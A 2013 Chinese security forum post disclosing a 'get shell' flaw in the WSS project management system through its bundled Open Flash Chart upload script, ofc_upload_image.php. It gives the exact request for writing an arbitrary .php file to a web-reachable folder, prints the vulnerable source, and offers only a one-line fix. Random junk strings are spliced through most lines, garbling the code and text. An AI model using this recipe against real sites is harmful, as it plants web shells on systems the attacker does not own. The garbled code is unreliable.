找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2078|回复: 0
打印 上一主题 下一主题

WSS项目管理系统Post get shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:38:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
POST 数据漏洞文件执行任意后缀文件保存/ x8 y/ W. O* w, g6 K4 H
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
, D" X; {3 ~6 E2 Q6 ?( B' y, Y+ Q' a4 w$ g# _$ Q  B
利用:
1 \$ }2 r: k1 _9 d, E" |/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名5 c! V3 A) [" V0 O2 X+ _
- e4 s; T7 T+ ~1 X: \5 t! G
Post任意数据
! w5 _$ w+ B4 W& u  q- _. ~+ L9 G0 g* x保存位置http://localhost/chart/tmp-upload-images/hfy.php
" d1 u% @. V8 K7 q( B3 J: @* A$ p  I  \  ?, H; [  u* z8 l9 V
! Z( I$ w( c& N  y5 y
最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~
" |) ~8 |$ Q/ o9 f/ ~3 q9 _1 A7 w% d$ l  `6 e/ j: j) K
<?php
: r$ k* }) C. A% D: u5 g9 V+ C9 P# q% Z8 D% g. N6 z) J
//
  M8 c9 _1 R& i4 B8 J// In Open Flash Chart -> save_image debug mode, you/ z2 }% I' J# V: d+ \  G4 D
// will see the 'echo' text in a new window.; ^) R0 P, H! o( M; Z8 G" C% [
//$ y- P) j  k, o5 p# T

0 m4 c" l+ o- z* {) \9 I/*6 J& |; ^1 ~5 K

* Y6 y! D% ?( c  J, N$ Tprint_r( $_GET );
) Q6 N: [9 `& B2 Z( M* B  ]print_r( $_POST );
8 ]2 o8 Z9 S) T( j# |+ Oprint_r( $_FILES );
& \) l/ ~  e# D7 Y
0 h3 X& }2 I/ b# P2 Z+ R8 Oprint_r( $GLOBALS );
" M7 b$ Q- S0 @1 Mprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );, }- q/ m. h+ b9 z+ g

5 o3 V/ j- y- h2 U- t*/
3 y, R7 y( ?0 |7 V' v- {// default path for the image to be stored //
8 c% A4 c+ _4 A" M9 u: {6 [3 G$default_path = '../tmp-upload-images/';
) P, H( G. v! ]; D  e; Q0 X& z! H) }  X) y! b0 r
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
( f! }, O6 E) j8 Q' ?9 }* e- Z& x8 z' T1 |0 k+ u. I' S
// full path to the saved image including filename //
1 A+ U, |$ M+ {9 C$destination = $default_path . basename( $_GET[ 'name' ] ); * @: p/ |: j7 K
0 D9 E: q# B/ `
echo 'Saving your image to: '. $destination;* T6 ?$ O0 A+ N1 b8 Z/ ~
// print_r( $_POST );
( ^9 [0 j3 j; l8 ^" c! Z% g// print_r( $_SERVER );+ ~  g# G* n+ I  G
// echo $HTTP_RAW_POST_DATA;
0 W! t8 Y1 p, ]- X
& a4 U. k% w8 H2 u+ y8 U. t//; P$ E! w. @. R4 m
// POST data is usually string data, but we are passing a RAW .png0 ~8 _' Q+ a( E7 \: {( H
// so PHP is a bit confused and $_POST is empty. But it has saved
( }- ?0 Y! L) \5 E% I. F9 \3 W// the raw bits into $HTTP_RAW_POST_DATA
! W: u! k" `3 O2 J) {6 Y* M$ T//
3 V7 S% [5 X, w8 j) Z$ Q* g/ ^# }' z$ Y. [* ]2 P
$jfh = fopen($destination, 'w') or die("can't open file");2 T' l9 N7 k5 e: m& Y6 G# M: k
fwrite($jfh, $HTTP_RAW_POST_DATA);( @' _2 {  H( O* O. r, ?: f9 w
fclose($jfh);
; t7 t! F- L9 x5 W; k
$ c- G, A% q9 T' e* Y//# O. V8 R3 v/ D
// LOOK:, a4 t7 ]; ~* H1 T/ ?' W9 V6 p
/// U) r! O7 O. U& |% Z; |
exit();4 X0 b7 D7 p/ }/ A
//
$ W9 [) c; k- N5 V- X// PHP5:: S+ y! p# f( V0 J* u" ]6 p
//1 x" [. ~3 G8 e7 D* ?

3 }2 i5 }8 }  J1 V4 e* b  i" p5 t5 B7 L. n' r. f
// default path for the image to be stored //: ?3 E: M  O  ?# w
$default_path = 'tmp-upload-images/';* D4 z$ t; q) U  h

6 p0 ]) C3 Q+ R# b$ w$ s6 Vif (!file_exists($default_path)) mkdir($default_path, 0777, true);
- v$ z0 G. f) N9 I, S" W, ?3 g8 Q. h5 `9 a
// full path to the saved image including filename //  w4 ?1 |) X) ~2 S
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] ); 8 F/ O* r: X  _3 V  C- k  l1 @4 A

# p. w5 S$ ?1 x0 z6 U; i// move the image into the specified directory //3 K( U8 ~. q/ m% |& a
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
( x8 P! M$ }1 C/ |  w/ s    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
0 D% m* S- i% |* |7 H6 y4 {3 v} else {
5 H  m, q3 c$ E) N: Z2 `2 \/ |    echo "FILE UPLOAD FAILED";5 B0 U% H# z; }* L
}+ I; q: v8 a2 I
/ b- j* i; p7 x# ^: n6 M9 F0 G

5 I9 e* I% e& s  a/ y?>* |' R3 w5 b( O9 U7 C8 _
( O8 c: f6 `4 o7 o( t1 j; [& J

6 b; G3 W9 C  H$ W7 u/ V/ B4 B& P, o1 T" J3 C$ {% t+ V
* G  |& ~' U( B( a: M0 E
7 Z, O! [. d+ W, q

8 ~& ?( J8 T7 U; `$ ]/ ]; S/ H4 I修复方案: 4 w7 [' b* H  {$ r) u' n" i/ @
这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞
$ ]" I" {/ c* @, P( A; @( i9 f, e; H5 P0 Y
5 p4 G$ F2 C: d/ n

6 ^1 s# x5 ^7 Q, v0 r# K
8 z% |9 j' E- Z/ W

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表